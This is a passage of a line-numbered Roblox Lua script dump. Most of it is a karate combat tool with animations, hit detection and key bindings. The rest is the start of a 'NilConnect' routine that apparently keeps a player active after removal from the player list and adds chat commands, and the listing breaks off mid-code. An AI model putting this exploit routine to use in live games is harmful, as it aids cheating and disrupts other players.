  2788. hc.Health = 0
  2789.  
  2790. hc.MaxHealth = 0
  2791.  
  2792. slash = Instance.new("Sound")
  2793.  
  2794. slash.SoundId = "rbxasset://sounds//swordslash.wav"
  2795.  
  2796. slash.Volume = 0.8
  2797.  
  2798. slash.Pitch = 1.4
  2799.  
  2800. slash.Parent = Rarm
  2801.  
  2802. hitsound = Instance.new("Sound")
  2803.  
  2804. hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263"
  2805.  
  2806. hitsound.Volume = 0.55
  2807.  
  2808. hitsound.Pitch = 2.1
  2809.  
  2810. hitsound.Parent = torso
  2811.  
  2812. Mo = Instance.new("Model")
  2813.  
  2814. Mo.Name = Modelname
  2815.  
  2816. RABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
  2817.  
  2818. LABrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
  2819.  
  2820. RLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
  2821.  
  2822. LLBrick = Part(Mo, false, false, 1, 0, "White", 0.1, 0.1, 0.1, true)
  2823.  
  2824. RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
  2825.  
  2826. LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
  2827.  
  2828. RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
  2829.  
  2830. LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
  2831.  
  2832. RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
  2833.  
  2834. LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
  2835.  
  2836. RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
  2837.  
  2838. LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
  2839.  
  2840. TBricks = {}
  2841.  
  2842. for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do
  2843.  
  2844. local p = Part(Mo, false, false, 1, 0, "White", 0.9, 0.9, 0.8, true)
  2845.  
  2846. Weld(v, p, 0, 0.7, 0, 0, 0, 0)
  2847.  
  2848. table.insert(TBricks, {p, hurt = false, able = true})
  2849.  
  2850. end
  2851.  
  2852. function startEff(part)
  2853.  
  2854. effectOn = true
  2855.  
  2856. local lastPoint = part.Position
  2857.  
  2858. coroutine.resume(coroutine.create(function()
  2859.  
  2860. while effectOn do
  2861.  
  2862. wait()
  2863.  
  2864. local mag = (lastPoint - part.Position).magnitude
  2865.  
  2866. local p = Part(Mo, true, false, 0.2, 0.05, "Institutional white", 0.1, 0.1, mag+0.2, true)
  2867.  
  2868. p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2)
  2869.  
  2870. Instance.new("BlockMesh",p)
  2871.  
  2872. lastPoint = part.Position
  2873.  
  2874. coroutine.resume(coroutine.create(function()
  2875.  
  2876. for x=0.2,1,0.2 do
  2877.  
  2878. wait()
  2879.  
  2880. p.Transparency = x
  2881.  
  2882. end
  2883.  
  2884. p:remove()
  2885.  
  2886. end))
  2887.  
  2888. end
  2889.  
  2890. end))
  2891.  
  2892. end
  2893.  
  2894. function endEff()
  2895.  
  2896. effectOn = false
  2897.  
  2898. end
  2899.  
  2900. function ShowDMG(p, d)
  2901.  
  2902. local mo = Instance.new("Model")
  2903.  
  2904. mo.Name = d
  2905.  
  2906. local pa = Part(mo, false, true, 0, 0, "Bright red", 0.8, 0.2, 0.8, true)
  2907.  
  2908. pa.CFrame = CFrame.new(p.Position)
  2909.  
  2910. pa.Name = "Head"
  2911.  
  2912. local hah = hc:clone()
  2913.  
  2914. hah.Parent = mo
  2915.  
  2916. local bp = Add.BP(pa)
  2917.  
  2918. bp.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  2919.  
  2920. bp.position = p.Position + Vector3.new(0, 2.5, 0)
  2921.  
  2922. Add.BG(pa)
  2923.  
  2924. coroutine.resume(coroutine.create(function()
  2925.  
  2926. wait(0.2)
  2927.  
  2928. mo.Parent = workspace
  2929.  
  2930. wait(1.5)
  2931.  
  2932. mo:remove()
  2933.  
  2934. end))
  2935.  
  2936. end
  2937.  
  2938. for i, v in pairs(TBricks) do
  2939.  
  2940. v[1].Touched:connect(function(hit)
  2941.  
  2942. local fig = hit.Parent
  2943.  
  2944. H, T = getHumanoid(fig), fig:findFirstChild("Torso")
  2945.  
  2946. if H ~= nil and T ~= nil and v.hurt and v.able then
  2947.  
  2948. hitsound:play()
  2949.  
  2950. v.able = false
  2951.  
  2952. local d = math.random(dmg[1], dmg[2])
  2953.  
  2954. local hed, ne = getHead(fig, v[1].Position, 2.5)
  2955.  
  2956. if dmg[3] == "RoundHouse" and hed ~= nil then
  2957.  
  2958. d = math.random(dmg[1]*2.4, dmg[2]*2.4)
  2959.  
  2960. coroutine.resume(coroutine.create(function()
  2961.  
  2962. if ne ~= nil then
  2963.  
  2964. for i=0,60,20 do
  2965.  
  2966. ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
  2967.  
  2968. wait()
  2969.  
  2970. end
  2971.  
  2972. for i=60,0,-20 do
  2973.  
  2974. ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0)
  2975.  
  2976. wait()
  2977.  
  2978. end
  2979.  
  2980. ne.C0 = necko
  2981.  
  2982. end
  2983.  
  2984. end))
  2985.  
  2986. end
  2987.  
  2988. H.Health = H.Health - d
  2989.  
  2990. local xd = CFrame.new(v[1].Position, hit.Position)
  2991.  
  2992. hit.Velocity = xd.lookVector * (d*2.3)
  2993.  
  2994. ShowDMG(v[1], d)
  2995.  
  2996. wait(0.34)
  2997.  
  2998. v.able = true
  2999.  
  3000. end
  3001.  
  3002. end)
  3003.  
  3004. end
  3005.  
  3006. Mo.Parent = char
  3007.  
  3008. RAWBattle = nil
  3009.  
  3010. LAWBattle = nil
  3011.  
  3012. function nilparts()
  3013.  
  3014. LAW.Part1 = nil
  3015.  
  3016. RAW.Part1 = nil
  3017.  
  3018. RLW.Part1 = nil
  3019.  
  3020. LLW.Part1 = nil
  3021.  
  3022. LAW.C0 = CFrame.new(0, 0, 0)
  3023.  
  3024. RLW.C0 = CFrame.new(0, 0, 0)
  3025.  
  3026. LLW.C0 = CFrame.new(0, 0, 0)
  3027.  
  3028. RAW.C0 = CFrame.new(0, 0, 0)
  3029.  
  3030. end
  3031.  
  3032. function attach()
  3033.  
  3034. LAW.Part1 = Larm
  3035.  
  3036. RLW.Part1 = Rleg
  3037.  
  3038. LLW.Part1 = Lleg
  3039.  
  3040. RAW.Part1 = Rarm
  3041.  
  3042. LAW.C0 = CFrame.new(0, 0, 0)
  3043.  
  3044. RLW.C0 = CFrame.new(0, 0, 0)
  3045.  
  3046. LLW.C0 = CFrame.new(0, 0, 0)
  3047.  
  3048. RAW.C0 = CFrame.new(0, 0, 0)
  3049.  
  3050. end
  3051.  
  3052. attacks = {
  3053.  
  3054. function(mouse)
  3055.  
  3056. local Orig = torso.CFrame
  3057.  
  3058. local MousePos = mouse.Hit.p
  3059.  
  3060. local bg = Add.BG(torso)
  3061.  
  3062. local bp = Add.BP(torso)
  3063.  
  3064. bp.position = Orig.p
  3065.  
  3066. local CF = ComputePos(Orig.p, MousePos)
  3067.  
  3068. local CF2 = CF
  3069.  
  3070. bg.cframe = CF2
  3071.  
  3072. attach()
  3073.  
  3074. bp.position = CF * CFrame.new(0, 0, -1.5).p
  3075.  
  3076. startEff(TBricks[3][1])
  3077.  
  3078. TBricks[3].hurt = true
  3079.  
  3080. slash:play()
  3081.  
  3082. dmg = dmgs.Kdmg
  3083.  
  3084. for i = 0, 100, 100/4 do
  3085.  
  3086. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3087.  
  3088. RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0)
  3089.  
  3090. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3091.  
  3092. RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  3093.  
  3094. LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
  3095.  
  3096. CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
  3097.  
  3098. bg.cframe = CF2
  3099.  
  3100. wait()
  3101.  
  3102. end
  3103.  
  3104. wait(0.1)
  3105.  
  3106. TBricks[3].hurt = false
  3107.  
  3108. for i = 100, 0, -100/5 do
  3109.  
  3110. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3111.  
  3112. RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0)
  3113.  
  3114. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3115.  
  3116. RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  3117.  
  3118. LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7))
  3119.  
  3120. CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0)
  3121.  
  3122. bg.cframe = CF2
  3123.  
  3124. wait()
  3125.  
  3126. end
  3127.  
  3128. endEff()
  3129.  
  3130. wait()
  3131.  
  3132. nilparts()
  3133.  
  3134. bg:remove()
  3135.  
  3136. bp:remove()
  3137.  
  3138. neck.C0 = necko
  3139.  
  3140. end,
  3141.  
  3142. function(mouse)
  3143.  
  3144. local Orig = torso.CFrame
  3145.  
  3146. local MousePos = mouse.Hit.p
  3147.  
  3148. local bg = Add.BG(torso)
  3149.  
  3150. local bp = Add.BP(torso)
  3151.  
  3152. bp.position = Orig.p
  3153.  
  3154. local CF = ComputePos(Orig.p, MousePos)
  3155.  
  3156. local CF2 = CF
  3157.  
  3158. bg.cframe = CF2
  3159.  
  3160. attach()
  3161.  
  3162. bp.position = CF * CFrame.new(0, 0, -1.5).p
  3163.  
  3164. TBricks[2].hurt = true
  3165.  
  3166. startEff(TBricks[2][1])
  3167.  
  3168. slash:play()
  3169.  
  3170. dmg = dmgs.Pdmg
  3171.  
  3172. for i = 0, -90, -90/4 do
  3173.  
  3174. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3175.  
  3176. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3177.  
  3178. LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
  3179.  
  3180. RAW.C0 = CFrame.Angles(0, 0, 0)
  3181.  
  3182. LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
  3183.  
  3184. CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0)
  3185.  
  3186. bg.cframe = CF2
  3187.  
  3188. wait()
  3189.  
  3190. end
  3191.  
  3192. wait(0.07)
  3193.  
  3194. TBricks[2].hurt = false
  3195.  
  3196. endEff()
  3197.  
  3198. startEff(TBricks[1][1])
  3199.  
  3200. TBricks[1].hurt = true
  3201.  
  3202. bp.position = CF * CFrame.new(0, 0, -3).p
  3203.  
  3204. slash:play()
  3205.  
  3206. for i = -90, 0, 90/7 do
  3207.  
  3208. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90)))
  3209.  
  3210. RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
  3211.  
  3212. LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i))
  3213.  
  3214. CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0)
  3215.  
  3216. bg.cframe = CF2
  3217.  
  3218. wait()
  3219.  
  3220. end
  3221.  
  3222. wait(0.07)
  3223.  
  3224. TBricks[1].hurt = false
  3225.  
  3226. for i = 0, -90, -90/5 do
  3227.  
  3228. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90)))
  3229.  
  3230. RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90))
  3231.  
  3232. RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23))
  3233.  
  3234. LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23))
  3235.  
  3236. CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0)
  3237.  
  3238. bg.cframe = CF2
  3239.  
  3240. wait()
  3241.  
  3242. end
  3243.  
  3244. endEff()
  3245.  
  3246. wait()
  3247.  
  3248. nilparts()
  3249.  
  3250. bg:remove()
  3251.  
  3252. bp:remove()
  3253.  
  3254. neck.C0 = necko
  3255.  
  3256. end,
  3257.  
  3258. function(mouse)
  3259.  
  3260. local Orig = torso.CFrame
  3261.  
  3262. local MousePos = mouse.Hit.p
  3263.  
  3264. local bg = Add.BG(torso)
  3265.  
  3266. local bp = Add.BP(torso)
  3267.  
  3268. bp.position = Orig.p
  3269.  
  3270. local CF = ComputePos(Orig.p, MousePos)
  3271.  
  3272. local CF2 = CF
  3273.  
  3274. bg.cframe = CF2
  3275.  
  3276. attach()
  3277.  
  3278. bp.position = CF * CFrame.new(0, 0, -1.5).p
  3279.  
  3280. TBricks[4].hurt = true
  3281.  
  3282. startEff(TBricks[4][1])
  3283.  
  3284. slash:play()
  3285.  
  3286. dmg = dmgs.K2dmg
  3287.  
  3288. for i = 0, -100, -100/4 do
  3289.  
  3290. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3291.  
  3292. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3293.  
  3294. LLW.C0 = CFrame.Angles(0, 0, math.rad(i))
  3295.  
  3296. RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7))
  3297.  
  3298. LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7))
  3299.  
  3300. CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0)
  3301.  
  3302. bg.cframe = CF2
  3303.  
  3304. wait()
  3305.  
  3306. end
  3307.  
  3308. wait(0.1)
  3309.  
  3310. bp.position = CF * CFrame.new(0, 0, -3).p
  3311.  
  3312. TBricks[4].hurt = false
  3313.  
  3314. endEff()
  3315.  
  3316. startEff(TBricks[3][1])
  3317.  
  3318. TBricks[3].hurt = true
  3319.  
  3320. local Cobalt11641, hipow12 = RLW.C0, LLW.C0
  3321.  
  3322. slash:play()
  3323.  
  3324. for i = -100, -290, -190/5 do
  3325.  
  3326. RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4)))
  3327.  
  3328. LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100))
  3329.  
  3330. CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0)
  3331.  
  3332. bg.cframe = CF2
  3333.  
  3334. wait()
  3335.  
  3336. end
  3337.  
  3338. wait(0.1)
  3339.  
  3340. bp.position = CF * CFrame.new(0, 0, -4.5).p
  3341.  
  3342. TBricks[3].hurt = false
  3343.  
  3344. Cobalt11641, hipow12 = RLW.C0, LLW.C0
  3345.  
  3346. for i = 0, -70, -70/3 do
  3347.  
  3348. neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100))
  3349.  
  3350. RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4))
  3351.  
  3352. LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0)
  3353.  
  3354. RAW.C0 = CFrame.Angles(0, 0, 0)
  3355.  
  3356. LAW.C0 = CFrame.Angles(0, 0, 0)
  3357.  
  3358. CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0)
  3359.  
  3360. bg.cframe = CF2
  3361.  
  3362. wait()
  3363.  
  3364. end
  3365.  
  3366. endEff()
  3367.  
  3368. wait()
  3369.  
  3370. nilparts()
  3371.  
  3372. bg:remove()
  3373.  
  3374. bp:remove()
  3375.  
  3376. neck.C0 = necko
  3377.  
  3378. end,
  3379.  
  3380. function(mouse)
  3381.  
  3382. if mouse ~= nil then
  3383.  
  3384. local Orig = torso.CFrame
  3385.  
  3386. local MousePos = mouse.Hit.p
  3387.  
  3388. local bg = Add.BG(torso)
  3389.  
  3390. local bp = Add.BP(torso)
  3391.  
  3392. bp.position = Orig.p
  3393.  
  3394. local CF = ComputePos(Orig.p, MousePos)
  3395.  
  3396. local CF2 = CF
  3397.  
  3398. bg.cframe = CF2
  3399.  
  3400. startEff(TBricks[3][1])
  3401.  
  3402. attach()
  3403.  
  3404. bp.position = CF * CFrame.new(0, 0, -1).p
  3405.  
  3406. dmg = dmgs.Rdmg
  3407.  
  3408. for i = 0, 180, 180/7 do
  3409.  
  3410. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2))
  3411.  
  3412. RLW.C0 = CFrame.Angles(0, 0, 0)
  3413.  
  3414. LLW.C0 = CFrame.Angles(0, 0, 0)
  3415.  
  3416. RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
  3417.  
  3418. LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
  3419.  
  3420. CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0)
  3421.  
  3422. bg.cframe = CF2
  3423.  
  3424. wait()
  3425.  
  3426. end
  3427.  
  3428. slash:play()
  3429.  
  3430. TBricks[3].hurt = true
  3431.  
  3432. for i = 180, 180+90, 90/4 do
  3433.  
  3434. neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90))
  3435.  
  3436. RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0)
  3437.  
  3438. LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3)))
  3439.  
  3440. RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10))
  3441.  
  3442. LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10))
  3443.  
  3444. CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0)
  3445.  
  3446. bg.cframe = CF2
  3447.  
  3448. wait()
  3449.  
  3450. end
  3451.  
  3452. TBricks[3].hurt = false
  3453.  
  3454. wait()
  3455.  
  3456. for i = 270, 360, 90/5 do
  3457.  
  3458. local a = i-270
  3459.  
  3460. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i))
  3461.  
  3462. RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0)
  3463.  
  3464. LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3)))
  3465.  
  3466. RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10)))
  3467.  
  3468. LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10)))
  3469.  
  3470. CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0)
  3471.  
  3472. bg.cframe = CF2
  3473.  
  3474. wait()
  3475.  
  3476. end
  3477.  
  3478. endEff()
  3479.  
  3480. wait()
  3481.  
  3482. nilparts()
  3483.  
  3484. bg:remove()
  3485.  
  3486. bp:remove()
  3487.  
  3488. neck.C0 = necko
  3489.  
  3490. end
  3491.  
  3492. end,
  3493.  
  3494. function(mouse)
  3495.  
  3496. local Orig = torso.CFrame
  3497.  
  3498. local MousePos = mouse.Hit.p
  3499.  
  3500. local bg = Add.BG(torso)
  3501.  
  3502. local bp = Add.BP(torso)
  3503.  
  3504. bp.position = Orig.p
  3505.  
  3506. local CF = ComputePos(Orig.p, MousePos)
  3507.  
  3508. local CF2 = CF
  3509.  
  3510. bg.cframe = CF2
  3511.  
  3512. startEff(TBricks[2][1])
  3513.  
  3514. attach()
  3515.  
  3516. bp.position = CF * CFrame.new(0, 0, -0.8).p
  3517.  
  3518. dmg = dmgs.Kardmg
  3519.  
  3520. for i = 0, -45, -45/3 do
  3521.  
  3522. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3523.  
  3524. RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4))
  3525.  
  3526. LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4))
  3527.  
  3528. RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3))
  3529.  
  3530. LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0)
  3531.  
  3532. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  3533.  
  3534. bg.cframe = CF2
  3535.  
  3536. wait()
  3537.  
  3538. end
  3539.  
  3540. TBricks[2].hurt = true
  3541.  
  3542. bp.position = CF * CFrame.new(0, 0, -1.6).p
  3543.  
  3544. slash:play()
  3545.  
  3546. for i = -45, -110, -65/3 do
  3547.  
  3548. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3549.  
  3550. LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110)))
  3551.  
  3552. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  3553.  
  3554. bg.cframe = CF2
  3555.  
  3556. wait()
  3557.  
  3558. end
  3559.  
  3560. wait()
  3561.  
  3562. TBricks[2].hurt = false
  3563.  
  3564. for i = -110, 0, 110/4 do
  3565.  
  3566. neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i))
  3567.  
  3568. LAW.C0 = CFrame.Angles(0, 0, math.rad(i) )
  3569.  
  3570. RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3))
  3571.  
  3572. RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4)))
  3573.  
  3574. LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4)))
  3575.  
  3576. CF2 = CF * CFrame.Angles(0, math.rad(i), 0)
  3577.  
  3578. bg.cframe = CF2
  3579.  
  3580. wait()
  3581.  
  3582. end
  3583.  
  3584. endEff()
  3585.  
  3586. wait()
  3587.  
  3588. nilparts()
  3589.  
  3590. bg:remove()
  3591.  
  3592. bp:remove()
  3593.  
  3594. neck.C0 = necko
  3595.  
  3596. end
  3597.  
  3598. }
  3599.  
  3600. bloc = function(mouse)
  3601.  
  3602. local hold = true
  3603.  
  3604. local bg = Add.BG(nil)
  3605.  
  3606. attach()
  3607.  
  3608. RLW.Part1 = nil
  3609.  
  3610. LLW.Part1 = nil
  3611.  
  3612. slash:play()
  3613.  
  3614. local duh = true
  3615.  
  3616. block = true
  3617.  
  3618. mouse.KeyUp:connect(function(k)
  3619.  
  3620. k = k:lower()
  3621.  
  3622. if duh == true and k == "t" then
  3623.  
  3624. block = false
  3625.  
  3626. duh = false
  3627.  
  3628. hold = false
  3629.  
  3630. end
  3631.  
  3632. end)
  3633.  
  3634. coroutine.resume(coroutine.create(function()
  3635.  
  3636. for i = 0, 90, 90/7 do
  3637.  
  3638. RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
  3639.  
  3640. LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
  3641.  
  3642. wait()
  3643.  
  3644. end
  3645.  
  3646. end))
  3647.  
  3648. bg.Parent = torso
  3649.  
  3650. while block and hold do
  3651.  
  3652. wait()
  3653.  
  3654. bg.cframe = ComputePos(torso.Position, mouse.Hit.p)
  3655.  
  3656. end
  3657.  
  3658. for i = 90, 0, -90/7 do
  3659.  
  3660. RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2))
  3661.  
  3662. LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5))
  3663.  
  3664. wait()
  3665.  
  3666. end
  3667.  
  3668. nilparts()
  3669.  
  3670. bg:remove()
  3671.  
  3672. neck.C0 = necko
  3673.  
  3674. end
  3675.  
  3676. function select(mouse)
  3677.  
  3678. mouse.Button1Down:connect(function()
  3679.  
  3680. if able then
  3681.  
  3682. able = false
  3683.  
  3684. attacks[1](mouse)
  3685.  
  3686. attacks[2](mouse)
  3687.  
  3688. attacks[3](mouse)
  3689.  
  3690. attacks[4](mouse)
  3691.  
  3692. attacks[5](mouse)
  3693.  
  3694. able = true
  3695.  
  3696. end
  3697.  
  3698. end)
  3699.  
  3700. mouse.KeyDown:connect(function(key)
  3701.  
  3702. key = key:lower()
  3703.  
  3704. if able then
  3705.  
  3706. if key == "q" then
  3707.  
  3708. able = false
  3709.  
  3710. attacks[2](mouse)
  3711.  
  3712. able = true
  3713.  
  3714. elseif key == "e" then
  3715.  
  3716. able = false
  3717.  
  3718. attacks[1](mouse)
  3719.  
  3720. able = true
  3721.  
  3722. elseif key == "r" then
  3723.  
  3724. able = false
  3725.  
  3726. attacks[3](mouse)
  3727.  
  3728. able = true
  3729.  
  3730. elseif key == "f" then
  3731.  
  3732. able = false
  3733.  
  3734. attacks[4](mouse)
  3735.  
  3736. able = true
  3737.  
  3738. elseif key == "g" then
  3739.  
  3740. able = false
  3741.  
  3742. attacks[5](mouse)
  3743.  
  3744. able = true
  3745.  
  3746. elseif key == "t" then
  3747.  
  3748. able = false
  3749.  
  3750. bloc(mouse)
  3751.  
  3752. able = true
  3753.  
  3754. elseif key == "z" then
  3755.  
  3756. able = false
  3757.  
  3758. holdkey = true
  3759.  
  3760. while holdkey do
  3761.  
  3762. attacks[math.random(1,#attacks)](mouse)
  3763.  
  3764. end
  3765.  
  3766. able = true
  3767.  
  3768. end
  3769.  
  3770. end
  3771.  
  3772. end)
  3773.  
  3774. mouse.KeyUp:connect(function(key)
  3775.  
  3776. key = key:lower()
  3777.  
  3778. if key == "z" then
  3779.  
  3780. holdkey = false
  3781.  
  3782. end
  3783.  
  3784. end)
  3785.  
  3786. end
  3787.  
  3788. if script.Parent.className ~= "HopperBin" then
  3789.  
  3790. h = Instance.new("HopperBin",me.Backpack)
  3791.  
  3792. h.Name = "Karate"
  3793.  
  3794. script.Parent = h
  3795.  
  3796. end
  3797.  
  3798. bin = script.Parent
  3799.  
  3800. bin.Selected:connect(select)
  3801. ]]
  3802. NilConnect = [[
  3803. wait(0.001)
  3804. script:ClearAllChildren()
  3805. script.Parent=nil
  3806. wait(1)
  3807. LocalPlayer = game:service'Players'.LocalPlayer
  3808. ProbeMode = false
  3809. char = nil
  3810. probe = nil
  3811. game:service'Debris':AddItem(x,3)
  3812. if LocalPlayer.Character then
  3813.     LocalPlayer.Character.Archivable = true
  3814.     char = LocalPlayer.Character:Clone()
  3815.     char.Torso.Anchored = true
  3816. else
  3817.     local con = LocalPlayer.CharacterAdded:connect(function()
  3818.         wait(0.5)
  3819.         LocalPlayer.Character.Archivable = true
  3820.         char = LocalPlayer.Character:Clone()
  3821.         char.Torso.Anchored = true
  3822.     end)
  3823. end
  3824. xcon = LocalPlayer.Changed:connect(function(asd)
  3825.     if asd == 'Parent' then
  3826.         local a = Instance.new("Hint",workspace)
  3827.         a.Text = '[ Connected|CMDS|Probe|Char|Fcam|Rej ]'
  3828.         game:service'Debris':AddItem(a,3)
  3829.     end
  3830. end)
  3831. asdcon = LocalPlayer.Chatted:connect(function(msg)
  3832.     pcall(function()
  3833.         if LocalPlayer.Parent ~= game:service'Players' then
  3834.             if msg == 'char/' then
  3835.                 ProbeMode = false
  3836.             elseif msg == 'probe/' then
  3837.                 ProbeMode = true
  3838.             elseif msg == 'fcam/' then
  3839.                 if LocalPlayer.Parent ~= game:service'Players' then
  3840.                     if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  3841.                         if ProbeMode == false then
  3842.                             game.Players.CurrentCamera.CameraSubject = game.Workspace[LocalPlayer.Name].Humanoid
  3843.                         end
  3844.                     end
  3845.                 end
  3846.             elseif msg == 'rej/' then
  3847.                 coroutine.wrap(function()
  3848.                     if ProbeMode == true then
  3849.                         probe:remove()
  3850.                     else
  3851.                         LocalPlayer.Character:remove()
  3852.                         char = nil
  3853.                     end
  3854.                     zcon:disconnect()
  3855.                     asdcon:disconnect()
  3856.                     xcon:disconnect()
  3857.                 end)()
  3858.                 game:service'TeleportService':Teleport(game.PlaceId)
  3859.             else
  3860.                 if ProbeMode == true then
  3861.                     game:service'Chat':Chat(probe,msg)
  3862.                 else
  3863.                     game:service'Chat':Chat(LocalPlayer.Character.Head,msg)
  3864.                 end
  3865.             end
  3866.         end
  3867.     end)
  3868. end)
  3869. zcon = game:service'RunService'.RenderStepped:connect(function()
  3870.     if LocalPlayer.Parent ~= game:service'Players' then
  3871.         if ProbeMode == false then
  3872.             if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  3873.                 local chr = char:Clone()
  3874.                 chr.Parent = workspace
  3875.                 LocalPlayer.Character = chr
  3876.                 wait(0.1)
  3877.                 game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
  3878.             end
  3879.         else
  3880.             if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'Cobalt1164Mesh' == nil then
  3881.                 if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
  3882.                 local a = Instance.new("Part",workspace)
  3883.                 a.Name = LocalPlayer.Name
  3884.                 a.FormFactor = 'Custom'
  3885.                 a.CanCollide = false
  3886.                 a.Locked = true
  3887.                 a.Anchored = true
  3888.                 a.TopSurface = 0
  3889.                 a.BottomSurface = 0
  3890.                 a.Size = Vector3.new(2,2,2)
  3891.                 a.BrickColor = BrickColor.new("Really black")
  3892.                 local b = Instance.new('SpecialMesh',a)
  3893.                 b.Name = 'Cobalt1164Mesh'
  3894.                 b.MeshType = 'Sphere'
  3895.                 probe = a
  3896.             else
  3897.                 local asd = probe:findFirstChild'Cobalt1164Mesh'
